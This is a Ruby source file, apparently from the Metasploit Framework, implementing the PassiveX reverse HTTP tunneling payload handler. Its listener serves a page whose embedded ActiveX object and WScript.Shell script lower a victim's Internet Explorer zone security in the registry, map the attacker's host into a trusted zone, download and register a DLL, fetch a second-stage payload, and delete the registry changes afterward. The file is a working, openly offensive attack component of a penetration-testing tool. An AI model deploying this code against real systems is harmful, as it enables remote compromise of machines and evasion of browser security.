515 lines
13 KiB
Ruby
515 lines
13 KiB
Ruby
require 'rex/io/stream_abstraction'
|
|
require 'rex/sync/ref'
|
|
|
|
module Msf
|
|
module Handler
|
|
|
|
###
|
|
#
|
|
# This handler implements the PassiveX reverse HTTP tunneling interface.
|
|
#
|
|
###
|
|
module PassiveX
|
|
|
|
include Msf::Handler
|
|
|
|
###
|
|
#
|
|
# This class wrappers the communication channel built over the HTTP
|
|
# communication protocol between a local session and the remote HTTP
|
|
# client.
|
|
#
|
|
###
|
|
class PxSessionChannel
|
|
|
|
include Rex::IO::StreamAbstraction
|
|
|
|
module PxSocketInterface
|
|
|
|
def type?
|
|
'tcp'
|
|
end
|
|
|
|
def shutdown(how)
|
|
return false if not remote
|
|
begin
|
|
return (remote.shutdown(how) == 0)
|
|
rescue ::Exception
|
|
end
|
|
end
|
|
|
|
def peerinfo
|
|
if (pi = getpeername)
|
|
return pi[1] + ':' + pi[2].to_s
|
|
end
|
|
end
|
|
|
|
def localinfo
|
|
if (pi = getlocalname)
|
|
return pi[1] + ':' + pi[2].to_s
|
|
end
|
|
end
|
|
|
|
def getlocalname
|
|
getsockname
|
|
end
|
|
|
|
def getsockname
|
|
return [2,'',''] if not remote
|
|
remote.getsockname
|
|
end
|
|
|
|
def getpeername
|
|
return [2,'',''] if not remote
|
|
remote.getpeername
|
|
end
|
|
|
|
attr_accessor :remote
|
|
end
|
|
|
|
def initialize(sid)
|
|
@remote = nil
|
|
@sid = sid
|
|
@remote_queue = ''
|
|
|
|
initialize_abstraction
|
|
|
|
# sf: we don't include Rex::Socket::Tcp as it messes with closing passivex sessions.
|
|
lsock.extend( PxSocketInterface )
|
|
lsock.remote = nil
|
|
|
|
end
|
|
|
|
#
|
|
# Closes the stream abstraction and kills the monitor thread.
|
|
#
|
|
def close
|
|
cleanup_abstraction
|
|
end
|
|
|
|
#
|
|
# Sets the remote HTTP client that is to be used for tunneling output
|
|
# data to the client side.
|
|
#
|
|
def remote=(cli)
|
|
# If we already have a remote, then close it now that we have a new one.
|
|
if (@remote)
|
|
begin
|
|
@remote.server.close_client(@remote)
|
|
rescue
|
|
end
|
|
end
|
|
|
|
@remote = cli
|
|
lsock.remote = @remote
|
|
|
|
flush_output
|
|
end
|
|
|
|
#
|
|
# Writes data to the local side of the abstraction that comes in from
|
|
# the remote.
|
|
#
|
|
def write_local(buf)
|
|
dlog("PassiveX:#{self} Writing #{buf.length} to local side", 'core', LEV_3)
|
|
|
|
rsock.put(buf)
|
|
end
|
|
|
|
#
|
|
# Writes data to the remote HTTP client via an indirect queue.
|
|
#
|
|
def write_remote(buf)
|
|
dlog("PassiveX:#{self} Queuing #{buf.length} to remote side", 'core', LEV_3)
|
|
|
|
@remote_queue += buf
|
|
|
|
flush_output
|
|
end
|
|
|
|
#
|
|
# The write function for Rex::IO::StreamAbstraction.monitor_rsock
|
|
#
|
|
def write(buf, opts={})
|
|
write_remote(buf)
|
|
return buf.length
|
|
end
|
|
|
|
#
|
|
# The close_write function for Rex::IO::StreamAbstraction.monitor_rsock
|
|
#
|
|
def close_write
|
|
|
|
end
|
|
|
|
#
|
|
# Flushes the output queue if there is an associated output HTTP client.
|
|
#
|
|
def flush_output
|
|
return if (@remote_queue == nil or @remote_queue.length == 0)
|
|
resp = Rex::Proto::Http::Response.new
|
|
resp.body = @remote_queue
|
|
# sf: we must specify a content type
|
|
resp['Content-Type'] = 'application/octet-stream'
|
|
begin
|
|
if (@remote)
|
|
dlog("PassiveX:#{self} Flushing remote output queue at #{resp.body.length} bytes", 'core', LEV_3)
|
|
# sf: this naughty keepalive was killing the meterpreter over passivex payload, dont re-enable!
|
|
#@remote.keepalive = false
|
|
@remote.send_response(resp)
|
|
@remote = nil
|
|
@remote_queue = ''
|
|
end
|
|
rescue ::Exception
|
|
dlog("PassiveX:#{self} Exception during remote queue flush: #{$!}", 'core', LEV_0)
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
#
|
|
# A PassiveX mixin that is used to extend the Msf::Session class in order
|
|
# to add a reference to the payload handler that created the session in a
|
|
# guaranteed fashion. In turn, the cleanup routine for the session is
|
|
# modified to call deref_handler on the payload handler if it's defined.
|
|
# This is done to ensure that the tunneling handler stays running while
|
|
# there are sessions that still have references to it.
|
|
#
|
|
module PxSession
|
|
|
|
def payload_handler=(p)
|
|
@payload_handler = p
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
|
|
@payload_handler.deref_handler if (@payload_handler)
|
|
end
|
|
end
|
|
|
|
#
|
|
# Class for wrapping reference counting a specific object for passivex.
|
|
#
|
|
class PxRef
|
|
def initialize
|
|
refinit
|
|
end
|
|
|
|
include Rex::Ref
|
|
end
|
|
|
|
#
|
|
# Returns the string representation of the handler type, in this case
|
|
# 'reverse_http'.
|
|
#
|
|
def self.handler_type
|
|
return "reverse_http"
|
|
end
|
|
|
|
#
|
|
# Returns the connection-described general handler type, in this case
|
|
# 'tunnel'.
|
|
#
|
|
def self.general_handler_type
|
|
"tunnel"
|
|
end
|
|
|
|
#
|
|
# Initializes the PassiveX HTTP tunneling handler.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
|
|
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8000 ]),
|
|
OptString.new('PXURI', [ false, "The URI root for requests", "/" + Rex::Text.rand_text_alphanumeric(32) ]),
|
|
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
|
|
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
|
|
], Msf::Handler::PassiveX)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
|
], Msf::Handler::PassiveX)
|
|
|
|
# Initialize the start of the localized SID pool
|
|
self.sid_pool = 0
|
|
self.session_channels = Hash.new
|
|
self.handler_ref = PxRef.new
|
|
end
|
|
|
|
def dll_path
|
|
File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll")
|
|
end
|
|
|
|
#
|
|
# Create an HTTP listener that will be connected to and communicated with
|
|
# by the payload that is injected, and possibly used for tunneling
|
|
# purposes.
|
|
#
|
|
def setup_handler
|
|
|
|
comm = datastore['ReverseListenerComm']
|
|
if (comm.to_s == "local")
|
|
comm = ::Rex::Socket::Comm::Local
|
|
else
|
|
comm = nil
|
|
end
|
|
|
|
# Start the HTTP server service on this host/port
|
|
self.service = Rex::ServiceManager.start(
|
|
Rex::Proto::Http::Server,
|
|
datastore['PXPORT'].to_i, datastore['PXHOST'],
|
|
datastore['SSL'],
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
},
|
|
comm
|
|
)
|
|
|
|
# Add the new resource
|
|
service.add_resource(datastore['PXURI'],
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request(cli, req)
|
|
},
|
|
'VirtualDirectory' => true)
|
|
|
|
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
|
|
|
|
print_status("PassiveX listener started.")
|
|
end
|
|
|
|
#
|
|
# Simply calls stop handler to ensure that things ar ecool.
|
|
#
|
|
def cleanup_handler
|
|
end
|
|
|
|
#
|
|
# Basically does nothing. The service is already started and listening
|
|
# during set up.
|
|
#
|
|
def start_handler
|
|
end
|
|
|
|
#
|
|
# Stops the service and deinitializes it.
|
|
#
|
|
def stop_handler
|
|
deref_handler
|
|
end
|
|
|
|
#
|
|
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
|
|
# because it can take a bit of time for the OCX to get registered.
|
|
#
|
|
def wfs_delay
|
|
30
|
|
end
|
|
|
|
#
|
|
# Called when a new session is created on behalf of this handler. In this
|
|
# case, we extend the session so that we can track references to the
|
|
# handler since we need to keep the HTTP tunnel up while the session is
|
|
# alive.
|
|
#
|
|
def on_session(session)
|
|
super
|
|
|
|
# Extend the session, increment handler references, and set up the
|
|
# session payload handler.
|
|
session.extend(PxSession)
|
|
|
|
handler_ref.ref
|
|
|
|
session.payload_handler = self
|
|
end
|
|
|
|
#
|
|
# Decrement the references to the handler that was used by this exploit.
|
|
# If it reaches zero, stop it.
|
|
#
|
|
def deref_handler
|
|
if (handler_ref.deref)
|
|
if (service)
|
|
Rex::ServiceManager.stop_service(service)
|
|
|
|
self.service.deref
|
|
self.service = nil
|
|
|
|
print_status("PassiveX listener stopped.")
|
|
end
|
|
|
|
flush_session_channels
|
|
end
|
|
end
|
|
|
|
protected
|
|
|
|
attr_accessor :service # :nodoc:
|
|
attr_accessor :sid_pool # :nodoc:
|
|
attr_accessor :session_channels # :nodoc:
|
|
attr_accessor :handler_ref # :nodoc:
|
|
|
|
#
|
|
# Processes the HTTP request from the PassiveX client. In this case, when
|
|
# a request is made to "/", an HTML body is sent that has an embedded
|
|
# object tag. This causes the passivex.dll to be downloaded and
|
|
# registered (since registration and downloading have been enabled prior to
|
|
# this point). After that, the OCX may create a tunnel or download a
|
|
# second stage if instructed by the server.
|
|
#
|
|
def on_request(cli, req)
|
|
sid = nil
|
|
resp = Rex::Proto::Http::Response.new
|
|
|
|
# Grab the SID if one was supplied in the request header.
|
|
if (req['X-Sid'] and
|
|
(m = req['X-Sid'].match(/sid=(\d+?)/)))
|
|
sid = m[1]
|
|
end
|
|
|
|
# Process the requested resource.
|
|
case req.relative_resource
|
|
when "/"
|
|
# Get a new sid
|
|
self.sid_pool += 1
|
|
nsid = sid_pool
|
|
|
|
resp['Content-Type'] = 'text/html'
|
|
# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set
|
|
# of processes. It works, so will go ahead and commit changes and debug later to run it down.
|
|
resp.body = %Q^<html>
|
|
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
|
|
<param name="HttpHost" value="#{datastore['PXHOST']}">
|
|
<param name="HttpPort" value="#{datastore['PXPORT']}">
|
|
<param name="HttpUriBase" value="#{datastore['PXURI']}">
|
|
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
|
|
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
|
|
</object>
|
|
<script>
|
|
var WshShell = new ActiveXObject("Wscript.Shell");
|
|
var marker = true;
|
|
var regCheck;
|
|
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
|
|
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";
|
|
|
|
//Check if we've run this before.
|
|
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }
|
|
|
|
if (marker == false) {
|
|
//Modify perms for the Intranet zone.
|
|
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
|
|
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
|
|
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
|
|
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
|
|
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");
|
|
|
|
//Map IP to the newly modified zone.
|
|
WshShell.RegWrite(regRange,1,"REG_SZ");
|
|
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
|
|
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
|
|
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker
|
|
|
|
//Clean up after the original passivex stage1 loader; reset to default IE7 install
|
|
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
|
|
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
|
|
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
|
|
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
|
|
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");
|
|
|
|
//Clean up and delete the created entries
|
|
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
|
|
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
|
|
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
|
|
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
|
|
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
|
|
setTimeout('WshShell.RegDelete(regRange)', 60000);
|
|
|
|
WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
|
|
}
|
|
</script>
|
|
</html>^
|
|
|
|
# Create a new local PX session with the supplied sid
|
|
new_session_channel(nsid)
|
|
|
|
print_status("Sending PassiveX main page to client")
|
|
when "/passivex.dll"
|
|
resp['Content-Type'] = 'application/octet-stream'
|
|
resp.body = ''
|
|
|
|
File.open(dll_path, "rb") { |f|
|
|
resp.body = f.read
|
|
}
|
|
|
|
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
|
|
when "/stage"
|
|
resp.body = generate_stage
|
|
|
|
# Now that we've transmitted a second stage, it's time to indicate
|
|
# that we've found a new session. We call handle_connection using
|
|
# the lsock of the local stream.
|
|
if (s = find_session_channel(sid))
|
|
framework.threads.spawn("PassiveXClient-#{sid}", false, cli) { |cli_copy|
|
|
begin
|
|
s.remote = cli_copy
|
|
handle_connection(s.lsock)
|
|
rescue ::Exception
|
|
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
|
|
|
|
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
|
end
|
|
}
|
|
end
|
|
|
|
print_status("Sending stage to sid #{sid} (#{resp.body.length} bytes)")
|
|
when "/tunnel_in"
|
|
s.write_local(req.body) if (s = find_session_channel(sid))
|
|
when "/tunnel_out"
|
|
cli.keepalive = true
|
|
resp = nil
|
|
s.remote = cli if (s = find_session_channel(sid))
|
|
else
|
|
resp.code = 404
|
|
resp.message = "Not found"
|
|
end
|
|
|
|
cli.send_response(resp) if (resp)
|
|
end
|
|
|
|
#
|
|
# Creates a new session with the supplied sid.
|
|
#
|
|
def new_session_channel(sid)
|
|
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
|
|
end
|
|
|
|
#
|
|
# Finds a session based on the supplied sid
|
|
#
|
|
def find_session_channel(sid)
|
|
session_channels[sid.to_i]
|
|
end
|
|
|
|
#
|
|
# Flushes all existing session_channels and cleans up any resources associated with
|
|
# them.
|
|
#
|
|
def flush_session_channels
|
|
session_channels.each_pair { |sid, session|
|
|
session.close
|
|
}
|
|
|
|
session_channels = Hash.new
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
end
|